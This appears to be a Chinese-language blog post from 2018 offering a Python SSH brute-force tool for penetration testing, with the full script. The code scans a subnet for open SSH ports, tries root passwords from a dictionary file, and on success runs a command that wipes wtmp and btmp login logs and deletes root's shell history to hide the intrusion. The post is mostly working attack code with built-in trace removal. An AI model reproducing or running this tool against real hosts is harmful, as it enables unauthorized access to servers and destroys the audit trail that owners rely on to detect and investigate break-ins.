ssh爆破工具

一个单线程的Python版SSH爆破工具

Posted by Z.thero on October 22, 2018

0x01 前言

在渗透测试过程中,经常遇到获得小型边缘主机(如:linux,自带Python)的情况,为了进一步测试,发现更多的漏洞点,通常会进行进一步SSH爆破工作。

0x02 工具

小工具主要实现了 - CIDR地址转换 - 探测端口是否开放 - 外部读取密码字典 - 爆破成功后简单清理登录痕迹 - 缺点:采用的单线程,速度有点慢 工具测试效果图

0x03 工具代码

#!/usr/bin/python
#-*- coding:utf-8 -*-
# author=Z.thero

import paramiko
from IPy import IP
import socket

def checkPortLive(ip,port):
	'''
	检查端口是否开放
	'''
	sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sk.settimeout(0.5)
	try:
		sk.connect((ip, port))
		sk.close()
		return True
	except Exception:
		return False

def checkIP(ip_str):
	'''
	检查传入的IP是否正确的IP格式
	'''
	rex_ip=re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
	if rex_ip.match(ip_str):
		return True
	else:
		return False

def IP_cidr(addr):
	'''
	将CIDR格式的ip地址段转换称ip地址列表
	'''
	ip_list=[]
	if '/' in addr:
		ip=IP(addr)
		for i in ip:
			ip_list.append(str(i))
	else:
		ip_list.append(str(addr))
	return ip_list

def get_Passwd(passwd_addr):
	passwd_list=[]
	file=open(passwd_addr)
	line=file.readline()
	while line:
		# print line
		passwd_list.append(str(line)[:-1])
		line = file.readline()
	file.close()
	return passwd_list

def doCrack(host, username, password, timeout=2, port = 22):
	# host = h.getPath(address)
	# port = h.getPort(address) if h.getPort(address) != None else 22
	try:
		ssh = paramiko.SSHClient()
		ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
		ssh.connect(host,port,username,password,timeout=timeout)
		stdin, stdout, stderr = ssh.exec_command('echo > /var/log/wtmp && echo > /var/log/btmp && rm -f /root/.bash_history && history -c')
		result = stdout.readlines()
		# print result
		ssh.close()
		return True
	except Exception,e:
		print str(e)
		ssh.close()
		return False

def main():
	cidr='10.3.242.0/24'
	ip_list=IP_cidr(cidr)
	passwd_list=get_Passwd('./temp_passwd')

	for i in ip_list:
		flag=0
		if checkPortLive(i,22):
			# print str(i)+' the port is open!'
			for j in passwd_list:
				if doCrack(i,'root',j):
					print str(i)+' username: root, passwd: '+ str(j)
					flag=1
					break
				else:
					pass
			if flag==0:
				print str(i)+' can not find password!'
		else:
			pass
			print str(i)+' the port is close!'



if __name__ == "__main__":
    main()